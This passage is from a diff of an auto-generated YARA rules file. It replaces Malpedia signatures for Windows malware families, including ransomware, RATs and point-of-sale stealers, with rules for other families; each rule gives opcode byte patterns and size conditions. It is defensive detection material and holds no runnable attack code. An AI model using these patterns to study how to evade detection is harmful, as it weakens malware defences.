-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avzhan"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.avzhan_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokki"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nokki_auto.yar#L1-L156"
 		license_url = "N/A"
-		logic_hash = "e5753cf0528c1786d65aca4559b3855c06a602b71f8830b1dc3d077867894002"
+		logic_hash = "e29386a66940956320f6fdb11113fafeb375dcdfcfa05926d55033ad903bf7f3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155118,32 +162264,36 @@ rule MALPEDIA_Win_Avzhan_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f3aa 8b3d???????? 833d????????01 7418 }
-		$sequence_1 = { 75e8 6a14 ff15???????? 833d????????01 75d2 }
-		$sequence_2 = { 8bf0 8dbc2404020000 83c9ff 33c0 83c408 f2ae }
-		$sequence_3 = { 68???????? 51 ff15???????? 8b2d???????? 8b1d???????? b910000000 }
-		$sequence_4 = { 8d442464 52 50 e8???????? 83c404 50 e8???????? }
-		$sequence_5 = { 6a00 6a00 6a00 6a00 6a00 8d8c2418020000 6a00 }
-		$sequence_6 = { 83c408 f2ae f7d1 6a00 51 8d8c2404020000 51 }
-		$sequence_7 = { 8bc3 83c408 c1e010 668bc3 8b1d???????? c1e902 }
-		$sequence_8 = { 6a00 51 6a00 ffd5 85c0 }
-		$sequence_9 = { 51 8d842484010000 52 50 }
+		$sequence_0 = { e8???????? 33d2 68ce070000 52 }
+		$sequence_1 = { e8???????? 33c9 68ce070000 51 }
+		$sequence_2 = { 8b420c 898d08f8ffff b9???????? 89b518f8ffff ffd0 }
+		$sequence_3 = { 884c0204 8b06 8bd0 83e01f c1fa05 8b149580054100 c1e006 }
+		$sequence_4 = { 8d8daaddffff 51 668985a8ddffff e8???????? 6800010000 8d95f0feffff 6a00 }
+		$sequence_5 = { 6a01 6a00 ff15???????? 8bf8 85ff 0f848a000000 6a00 }
+		$sequence_6 = { 51 8d9520f8ffff 52 e8???????? 83c408 85c0 744a }
+		$sequence_7 = { ffd6 57 ffd6 68a0bb0d00 }
+		$sequence_8 = { 8a8c181d010000 888888054100 40 ebe6 ff35???????? }
+		$sequence_9 = { 33ff ffb7d4ec4000 ff15???????? 8987d4ec4000 83c704 83ff28 }
+		$sequence_10 = { 83c40c 6804010000 8d95f4fdffff 52 6a00 ffd6 }
+		$sequence_11 = { 8d7810 89bd68e8ffff 8b8d60e8ffff 8b9564e8ffff 8d856ce8ffff 50 }
+		$sequence_12 = { 8bce e8???????? 33d2 6806020000 52 8d85eafdffff 50 }
+		$sequence_13 = { 8d8df4fdffff 51 ffd3 8d95f4fdffff 68???????? }
 
 	condition:
-		7 of them and filesize <122880
+		7 of them and filesize <454656
 }
-rule MALPEDIA_Win_Silon_Auto : FILE
+rule MALPEDIA_Win_Turla_Silentmoon_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "74e356eb-e3ab-55df-a58b-86af4144d8aa"
+		id = "74286b0f-5712-5890-afe4-259cc8765b9b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.silon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.silon_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_silentmoon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.turla_silentmoon_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "e4ecb086584bedec65219eab1069013db28049e75ec56b31d70ca83f4cf849d8"
+		logic_hash = "f84d11e90ac1422010cde8ffffe4ee94ce33e7fe9731643e241a69ac7f1c820c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155157,32 +162307,32 @@ rule MALPEDIA_Win_Silon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83ec18 c745f000000000 c745f400000000 c745f800000000 33c0 8945fc }
-		$sequence_1 = { 83c408 8945f4 837df400 7507 33c0 e9???????? c745f800000000 }
-		$sequence_2 = { 81ec3c020000 c785c4fdffff00000000 c745fc00000000 c745f800000000 837d0800 }
-		$sequence_3 = { 0fbe11 83fa61 7c20 8b4508 0345fc 0fbe08 83f97a }
-		$sequence_4 = { 8b4d0c 8b55f8 895104 8b45f4 50 e8???????? 83c404 }
-		$sequence_5 = { 6a00 8d8df4feffff 51 8d95f8feffff 52 6a01 8b4508 }
-		$sequence_6 = { 50 e8???????? 83c408 eb61 8b4d08 }
-		$sequence_7 = { e8???????? 83c404 8b55fc 52 e8???????? 83c404 8945ec }
-		$sequence_8 = { 8b5508 8955e8 837de800 7507 33c0 e9???????? 8b45e8 }
-		$sequence_9 = { 5d c20c00 ff25???????? 60 33c9 8b742424 33c0 }
+		$sequence_0 = { 88442453 a1???????? 89442430 a0???????? 53 56 88442444 }
+		$sequence_1 = { 8b4508 85c0 0f84f9010000 8938 5e 5b 8be5 }
+		$sequence_2 = { 51 6800001000 53 56 ff15???????? 83f801 }
+		$sequence_3 = { b950000000 e8???????? 83c404 6a08 b990000000 e8???????? }
+		$sequence_4 = { 8b94bd28feffff 8d441001 8b55f0 8955d4 8b94bd28feffff 8955d8 8b55f0 }
+		$sequence_5 = { 3bd1 7c9a 0fb608 3bd1 7e66 83be5c02000008 7c2f }
+		$sequence_6 = { 48 83f803 0f878a000000 ff248588344000 8bc3 e8???????? }
+		$sequence_7 = { 85ff 0f8f82fcffff 5f 5b }
+		$sequence_8 = { 7e0a 8b4df0 8b7dd8 33c0 f3ab 8145d808040000 }
+		$sequence_9 = { 741f 8b4508 85c0 7406 c700faffffff c787c4130000faffffff 5e }
 
 	condition:
-		7 of them and filesize <122880
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Xdspy_Auto : FILE
+rule MALPEDIA_Win_Boxcaon_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "770ce833-e4ad-5e91-a2e8-e19a8fcb8719"
+		id = "a730ae2b-b623-5088-86a7-4d1a4eb89ea5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xdspy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xdspy_auto.yar#L1-L167"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boxcaon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.boxcaon_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "f9c3ada66244c45df3d3dc2c6a2b3ef1f7e34e7bdca43fe98eeac2240819a0e8"
+		logic_hash = "5b71da83cc61472fd3b6239fea0178674ab4b3cf9a9678dbeeda07cdd88e683a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155196,38 +162346,32 @@ rule MALPEDIA_Win_Xdspy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d45ec 50 ff35???????? e8???????? 83f8ff }
-		$sequence_1 = { ffb56cd8ffff 8d8570d8ffff 6800040000 6a01 50 e8???????? }
-		$sequence_2 = { 8b36 8bce c1f905 8b0c8d804e4100 }
-		$sequence_3 = { ff7580 8b3d???????? ffd7 8d4580 50 68???????? 56 }
-		$sequence_4 = { 8d45e0 50 57 8d85e02a0000 50 ff75dc ffd3 }
-		$sequence_5 = { 83c414 83c8ff e9???????? 8bc6 c1f805 57 8d3c85804e4100 }
-		$sequence_6 = { 8b4de0 8d0c8d804e4100 8901 8305????????20 }
-		$sequence_7 = { 8d8510ecffff 57 50 e8???????? ffb56cd8ffff }
-		$sequence_8 = { 0f1f4000 660f1f840000000000 420fb68431309b1700 88840db0080000 488d4901 }
-		$sequence_9 = { 488b15???????? 488d8da0080000 ffd0 660f6f0d???????? 488d3550331700 }
-		$sequence_10 = { c705????????67736666 c705????????6e747764 c705????????73752f65 66c705????????6d6d 488d1563121700 }
-		$sequence_11 = { 488d4901 84c0 75e8 80bd400c000000 488d85400c0000 7413 }
-		$sequence_12 = { 4883f860 7ccf 488d15f85c1700 488d0d41e60100 4c8d0552e60100 }
-		$sequence_13 = { fe08 488d4001 803800 75f5 488d8db0080000 ff15???????? }
-		$sequence_14 = { 83f9ff 0f8496010000 ba01000000 448d420f }
-		$sequence_15 = { 33c9 ff15???????? 48898424a8000000 660f6f05???????? }
+		$sequence_0 = { 897e14 897e70 c686c800000043 c6864b01000043 c7466890b54000 6a0d e8???????? }
+		$sequence_1 = { 8bd3 66899424e0000000 5a 6a50 66899424e2000000 8bd1 66899424e4000000 }
+		$sequence_2 = { 8888b8b84000 40 ebe6 ff35???????? }
+		$sequence_3 = { 8bec 33c0 8b4d08 3b0cc5408a4000 740a }
+		$sequence_4 = { c78424980000003c000000 ff15???????? 56 33ff }
+		$sequence_5 = { e8???????? 84c0 741a 8d4c2410 8d8424d8020000 2bc1 }
+		$sequence_6 = { 89bc24ac000000 89b424b4000000 c78424980000003c000000 ff15???????? }
+		$sequence_7 = { 33c9 66890c06 68???????? 8d442414 50 e8???????? }
+		$sequence_8 = { 0020 1f 40 00441f40 0023 d18a0688078a 46 }
+		$sequence_9 = { 33c0 c7461407000000 668906 8b4508 8b5810 57 }
 
 	condition:
-		7 of them and filesize <3244032
+		7 of them and filesize <256000
 }
-rule MALPEDIA_Win_Zupdax_Auto : FILE
+rule MALPEDIA_Win_Former_First_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0a0ddf15-919a-51b3-8d2b-36d56a66b11c"
+		id = "e13a8bc3-e4cb-54c7-a2c1-b71b74a37c2c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zupdax"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zupdax_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.former_first_rat_auto.yar#L1-L167"
 		license_url = "N/A"
-		logic_hash = "b6e9bce8da2b32bfb52c3b6477d889790098710bc4ce9f32e2c7bd1bace10557"
+		logic_hash = "79676675a5e0c5d1eb84217b80928525157e507544e18d7d0452685a540a1268"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155241,32 +162385,38 @@ rule MALPEDIA_Win_Zupdax_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 895e2c e8???????? 8b460c 83c404 3bc3 7419 }
-		$sequence_1 = { 8b4c2408 8b7e10 51 e8???????? 8b560c 52 e8???????? }
-		$sequence_2 = { 52 68???????? ff15???????? 8d442444 }
-		$sequence_3 = { e8???????? 83c408 8b4618 50 895e24 895e28 895e2c }
-		$sequence_4 = { 394c2414 765b 53 41 81e1ff000080 }
-		$sequence_5 = { 4b 81cb00ffffff 43 0fb61403 30142f 47 }
-		$sequence_6 = { 895710 8b4614 894e14 8b5718 894714 8b4618 895618 }
-		$sequence_7 = { 2bc2 50 8d54241c 52 }
-		$sequence_8 = { 46 8a1c06 881c01 881406 }
-		$sequence_9 = { 8b4c2408 8b7e10 51 e8???????? }
+		$sequence_0 = { 899424ec030000 898c24e8030000 8b4f10 8d9424e8030000 6a00 52 898424f8030000 }
+		$sequence_1 = { 894c240c 8bd3 3bc1 7420 8d642400 8bf0 }
+		$sequence_2 = { 52 bb1c000000 8d742428 894c245c c744246000000000 }
+		$sequence_3 = { e8???????? 8b8d0cffffff 68???????? 51 e8???????? }
+		$sequence_4 = { ff15???????? 33c0 66833d????????09 0f94c0 a3???????? 6808020000 }
+		$sequence_5 = { c785e8feffff0f000000 899decfeffff 899df0feffff 899d04ffffff 899df4feffff }
+		$sequence_6 = { e8???????? 8d8de0feffff 51 bb08000000 e8???????? 8b9df8feffff 57 }
+		$sequence_7 = { 8bf2 8bfb 81c208020000 b982000000 81c308020000 f3a5 3bd0 }
+		$sequence_8 = { 48897c2428 488d05169b0200 488907 488d4f08 e8???????? }
+		$sequence_9 = { 480f42db 4883792010 7206 488b4908 eb04 }
+		$sequence_10 = { 48837e2008 7209 488b4e08 e8???????? 488d4608 }
+		$sequence_11 = { 48895c2468 0f28442450 660f7f442450 0f284c2460 660f7f4c2460 }
+		$sequence_12 = { 48896c2460 40886c2450 488bcb e8???????? }
+		$sequence_13 = { 488d4754 48894760 48832100 488b4748 48832000 }
+		$sequence_14 = { 90 48017e20 488b7620 4881c670ffffff }
+		$sequence_15 = { 488b7968 488d0532800200 8bf2 488bd9 }
 
 	condition:
-		7 of them and filesize <1032192
+		7 of them and filesize <626688
 }
-rule MALPEDIA_Win_Hui_Loader_Auto : FILE
+rule MALPEDIA_Win_Targetcompany_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "175084ea-2a45-5f42-bda4-3cc233036dd9"
+		id = "e6fff5d7-7001-551f-9dad-753a10f6e88e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hui_loader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hui_loader_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.targetcompany"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.targetcompany_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "96ca3a225904ad2e70a598c1b3c7fa88d26822a60a6742e1663517bed35c0526"
+		logic_hash = "a6f3e9a1f1d0d374d374e6c7006eb751526bddf3371b115cfe046f8accd1d439"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155280,32 +162430,32 @@ rule MALPEDIA_Win_Hui_Loader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68???????? 51 8bf8 ffd5 8d9424b8010000 8d842488090000 }
-		$sequence_1 = { ffd0 68e8030000 ffd6 8b0d???????? 51 ff15???????? 5f }
-		$sequence_2 = { 8b1402 3bd3 7406 c70109000000 }
-		$sequence_3 = { 83e01f c1f905 8d04c0 8b0c8d60e20010 8d44810c 50 }
-		$sequence_4 = { 52 50 a3???????? ff15???????? a1???????? }
-		$sequence_5 = { 83c628 83f90a 7cd9 33d2 }
-		$sequence_6 = { 8d4a01 0338 83c004 49 75f8 42 83c628 }
-		$sequence_7 = { c20400 8b15???????? 33c0 68???????? 52 }
-		$sequence_8 = { ff15???????? a3???????? 33ff 8d4c2428 }
-		$sequence_9 = { 7e0f 8b4efc 8b5401fc 031401 8b0e 891401 }
+		$sequence_0 = { ff15???????? 85c0 7475 fe85a7fdffff 80bda7fdffff0c }
+		$sequence_1 = { 53 ff15???????? ff75e8 ff15???????? ff75e0 ff15???????? 3975f0 }
+		$sequence_2 = { eb43 b900100000 3bc1 733a 53 51 }
+		$sequence_3 = { 83c424 33cd 33c0 5f e8???????? c9 c3 }
+		$sequence_4 = { 813d????????a9aaaa0a 722b 68???????? 8d4dd4 }
+		$sequence_5 = { e8???????? 57 6a0c 5a 8bce 8d45e0 e8???????? }
+		$sequence_6 = { 83ec40 53 56 33f6 57 8d5dc4 }
+		$sequence_7 = { 50 8d45b0 50 e8???????? 8d45b0 50 8d85c0feffff }
+		$sequence_8 = { bf???????? 8d75e8 e8???????? 8b1d???????? 8d75f0 }
+		$sequence_9 = { 8945ec e8???????? 53 6a01 8d758c e8???????? 53 }
 
 	condition:
-		7 of them and filesize <131072
+		7 of them and filesize <328704
 }
-rule MALPEDIA_Win_Leash_Auto : FILE
+rule MALPEDIA_Win_Hawkball_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cb5c9738-3925-5a03-a07d-f456311bbe1c"
+		id = "e8db5e2d-29c9-5590-a712-0f60cd9571dc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.leash"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.leash_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkball"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hawkball_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "ba62c5a8d74be4d262e44012cbb9d0d01e64bb5749bfbb2b1403f379db7c0758"
+		logic_hash = "781a6bce01e178f537c586fc2b1e607c4503cf63fe51435a8db976da2766e5fa"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155319,32 +162469,32 @@ rule MALPEDIA_Win_Leash_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 83c408 85c0 7511 8b8b08080000 56 e8???????? }
-		$sequence_1 = { 8a45ef 885def 3ac3 7404 c645ef01 }
-		$sequence_2 = { 6a01 6a02 ff15???????? 83f8ff 89831c180000 7519 5f }
-		$sequence_3 = { 33c0 f2ae f7d1 49 51 e8???????? 8be8 }
-		$sequence_4 = { 2bf9 8d93fe030000 8bc1 8bf7 8bfa 52 }
-		$sequence_5 = { 8b5808 33c0 8a442413 33fb 33db }
-		$sequence_6 = { 8bc1 8bf7 8bfa 8d9510ffffff }
-		$sequence_7 = { 85ff c744242800000000 7e58 8bd8 895c2410 }
-		$sequence_8 = { 8bd1 8bf0 c1e902 f3a5 8bca 83c404 83e103 }
-		$sequence_9 = { 894518 8b4514 99 83e203 03c2 8b5518 }
+		$sequence_0 = { 83780c00 7506 33c0 8be5 }
+		$sequence_1 = { 53 e8???????? 037dfc 83c40c 81ffffff0300 }
+		$sequence_2 = { 0f84c6000000 6a04 8d442418 c744241860ea0000 50 6a06 57 }
+		$sequence_3 = { 53 ff15???????? ff742414 8b35???????? ffd6 53 }
+		$sequence_4 = { 85c9 746d 837dfc28 7d13 6b55fc05 69c2e8030000 }
+		$sequence_5 = { 50 ff15???????? 897001 c600ff c7400500000000 }
+		$sequence_6 = { b9???????? e8???????? a3???????? 833d????????00 740b 8b0d???????? }
+		$sequence_7 = { 837dfc28 7d13 6b55fc05 69c2e8030000 50 }
+		$sequence_8 = { 7405 8d4a10 eb47 b911000000 }
+		$sequence_9 = { 8be5 5d c3 6a59 ff15???????? 85c0 }
 
 	condition:
-		7 of them and filesize <761856
+		7 of them and filesize <229376
 }
-rule MALPEDIA_Win_Redcurl_Auto : FILE
+rule MALPEDIA_Win_Maui_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "efe32a98-15fa-5dd0-a3ff-0a4fdcaec5ff"
+		id = "3b08a716-7f90-5bcd-af98-705f5527c8fd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redcurl"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.redcurl_auto.yar#L1-L190"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maui"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.maui_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "550bb424cec4343fdcbf9ff6b82c03a2bb6c5d2f01439a45b43da803dcee1f93"
+		logic_hash = "da972ed3bba518a07c1d6cad703f6be4a891f59859651a81726f8cacb62eabef"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155358,42 +162508,32 @@ rule MALPEDIA_Win_Redcurl_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c745f000000000 ff15???????? 8bd0 c7461000000000 8bca c746140f000000 }
-		$sequence_1 = { 8bca c746140f000000 c60600 8d7901 }
-		$sequence_2 = { 99 b91a000000 f7f9 80c261 88143e 47 }
-		$sequence_3 = { 2bc6 48 50 56 }
-		$sequence_4 = { ba???????? 660fd645e0 e8???????? 83c404 }
-		$sequence_5 = { 48 3bc2 0f42d0 0fb6041a 03d3 }
-		$sequence_6 = { ff15???????? 6a00 85c0 744b }
-		$sequence_7 = { 50 e8???????? 8d0c3e 83c40c 3bf1 7410 0fb606 }
-		$sequence_8 = { 6a00 0f434d08 8bf0 6a00 }
-		$sequence_9 = { 0f57c0 c745dc00000000 68???????? ba???????? 660fd645d4 }
-		$sequence_10 = { c745f001000000 e8???????? c745e800000000 c745ec0f000000 c645d800 8d5001 }
-		$sequence_11 = { c745ec0f000000 c645d800 8d5001 8b4610 3bc2 726f }
-		$sequence_12 = { 0154241c 894104 e9???????? 8b44241c }
-		$sequence_13 = { 89542408 f7d0 0385e4fdffff 8995a4fbffff 8944240c }
-		$sequence_14 = { 00c1 83da03 2b54241c 0f8444230000 8b7c241c }
-		$sequence_15 = { 00c1 83db03 2b9d34fdffff 899d44fdffff }
-		$sequence_16 = { 00c2 83de03 2bb500ffffff 89b530ffffff }
-		$sequence_17 = { 00c1 83de03 29de 89b504feffff }
-		$sequence_18 = { 00c1 8d8510feffff 83da03 89442404 }
-		$sequence_19 = { 00c1 8b8300010000 83da03 29fa 7468 }
+		$sequence_0 = { 8b1b 895c2410 a810 0f841a010000 57 51 25c0000000 }
+		$sequence_1 = { 83c40c 85c0 7515 53 e8???????? 57 e8???????? }
+		$sequence_2 = { 83c404 5f 5b 5e 5d c3 8bce }
+		$sequence_3 = { c1e010 094610 0fb64101 41 99 0fa4c208 095614 }
+		$sequence_4 = { e8???????? 83c408 85c0 0f846b010000 3b5d20 8d4518 7e0a }
+		$sequence_5 = { 85c0 750a 68d0010000 e9???????? 8b542438 8b02 56 }
+		$sequence_6 = { e8???????? 83c40c 85c0 0f849b010000 8d442428 57 50 }
+		$sequence_7 = { 8bac24a4000000 f7463c00010000 753a 8b4628 8b10 89542460 8b5004 }
+		$sequence_8 = { 50 50 50 50 e8???????? 83c414 ff33 }
+		$sequence_9 = { e8???????? 53 89442438 8907 e8???????? 53 89442460 }
 
 	condition:
-		7 of them and filesize <487424
+		7 of them and filesize <1616896
 }
-rule MALPEDIA_Win_Punkey_Pos_Auto : FILE
+rule MALPEDIA_Win_Woody_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "846510df-399c-5c73-991a-33d5b6390d78"
+		id = "35fc0a5e-5caa-5b81-a357-ce6a48801a6d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.punkey_pos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.punkey_pos_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.woody"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.woody_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "afbb6da5e69098feb647a1b39faf19c917a9fcb87281ef711eecf3479b712e35"
+		logic_hash = "d359ba0a50d4da9f9c37f195345e1d8ee165deec7ea255ed2ce67ccf9ad5785a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155407,32 +162547,32 @@ rule MALPEDIA_Win_Punkey_Pos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffd7 a3???????? 85c0 74ae 5f }
-		$sequence_1 = { 8bec 837d0c01 56 57 756b }
-		$sequence_2 = { 837d0c01 56 57 756b 8b4508 }
-		$sequence_3 = { ff15???????? 8bf0 85f6 7508 5f 33c0 5e }
-		$sequence_4 = { 33c0 5e 5d c20c00 8b3d???????? }
-		$sequence_5 = { 68e7070000 50 ff15???????? ff05???????? 8b0d???????? }
-		$sequence_6 = { 55 8bec 8b4508 85c0 7919 8b4d10 8b550c }
-		$sequence_7 = { 6a02 a3???????? ff15???????? a3???????? 33c0 }
-		$sequence_8 = { 52 50 a1???????? 50 ff15???????? 5d c20c00 }
-		$sequence_9 = { 8bf0 85f6 7508 5f 33c0 5e }
+		$sequence_0 = { 85c0 59 7412 8d4604 50 8d85e4feffff }
+		$sequence_1 = { 0f8501ffffff 53 ff15???????? a1???????? 85c0 7410 6860ea0000 }
+		$sequence_2 = { 8975ec 3bce 8b35???????? 894ddc 0f86b1000000 8d580a 8b4df4 }
+		$sequence_3 = { 8d8e10010000 c645fc01 e8???????? 8d8e18010000 c645fc02 e8???????? 8d8e20010000 }
+		$sequence_4 = { 50 e8???????? 8b45f4 83c424 813800000080 7239 8b75c8 }
+		$sequence_5 = { 59 5b 0f94c0 5f 5e c9 c20c00 }
+		$sequence_6 = { 48 0f8592000000 6a00 6a00 6a00 ff15???????? }
+		$sequence_7 = { 85db 7503 57 eb15 8d45fc 6a00 50 }
+		$sequence_8 = { 8945e0 294de0 894d14 8b45e0 8b4d14 03c1 8d4db0 }
+		$sequence_9 = { 3bcb 89442450 7412 8b8e0c010000 c74424540e000000 3bcb 7504 }
 
 	condition:
-		7 of them and filesize <499712
+		7 of them and filesize <409600
 }
-rule MALPEDIA_Win_Medusalocker_Auto : FILE
+rule MALPEDIA_Win_Rofin_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ffdd3261-a5ad-520b-a2bf-3c67ba3f2e25"
+		id = "1b07367d-380d-5a5b-bc33-dfe76ecfb58c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.medusalocker_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rofin"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rofin_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "1d388adf94671d416a3d4bdcd878fd62d77b06e7650d468b56f2c1b04655aed4"
+		logic_hash = "8597563e9ea27355f4e9d99fcf2f4a72dc9ad41d82ef13adb90824429264b4c0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155446,32 +162586,32 @@ rule MALPEDIA_Win_Medusalocker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8945e8 eb07 c745e800000000 8b4de8 894de4 c645fc02 }
-		$sequence_1 = { 8b4dd4 e8???????? 83c048 50 8d55d8 }
-		$sequence_2 = { e8???????? 33c0 8845bb c745c488020000 6888020000 e8???????? 83c404 }
-		$sequence_3 = { 83c404 8b08 51 e8???????? 83c410 }
-		$sequence_4 = { 8845d7 8b4d08 e8???????? 0fb6c8 85c9 0f85f6000000 8b5508 }
-		$sequence_5 = { 8d45e8 50 8b4d0c 51 e8???????? 83c404 50 }
-		$sequence_6 = { 33c0 8945e8 668945ec b902000000 6bd100 668b450c }
-		$sequence_7 = { 894508 8b4d08 3b4d0c 7427 8b5508 }
-		$sequence_8 = { 8965d8 8b45e4 83c00c 50 e8???????? e8???????? 8b4de4 }
-		$sequence_9 = { 8b55e0 52 6a01 8b4df0 e8???????? c645fc03 8d8d38ffffff }
+		$sequence_0 = { 014df0 3b06 72b5 eb1a 8b45fc 69c01c010000 03c6 }
+		$sequence_1 = { 84c0 c706???????? 7417 8b4604 85c0 7410 }
+		$sequence_2 = { 8d442434 53 50 33d2 668b95d0030000 56 8d4c242c }
+		$sequence_3 = { c644244163 88542442 c644244528 885c2446 c64424473e c644244800 }
+		$sequence_4 = { 8b44240c 8b542404 83ec10 8d4c2400 53 50 }
+		$sequence_5 = { 83c408 3bf3 7420 8b4c2420 56 8b513c 52 }
+		$sequence_6 = { 72b5 eb1a 8b45fc 69c01c010000 03c6 81781000d00000 7506 }
+		$sequence_7 = { f3a4 8d4c246a 6800040000 51 6a00 ff15???????? }
+		$sequence_8 = { e8???????? eb73 bf???????? 83c9ff 33c0 f2ae f7d1 }
+		$sequence_9 = { 8b45fc 83481c10 8b45fc 89585c 8d45f4 }
 
 	condition:
-		7 of them and filesize <1433600
+		7 of them and filesize <409600
 }
-rule MALPEDIA_Win_Malumpos_Auto : FILE
+rule MALPEDIA_Win_Whispergate_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "011d5980-db12-575d-b128-68c240971c82"
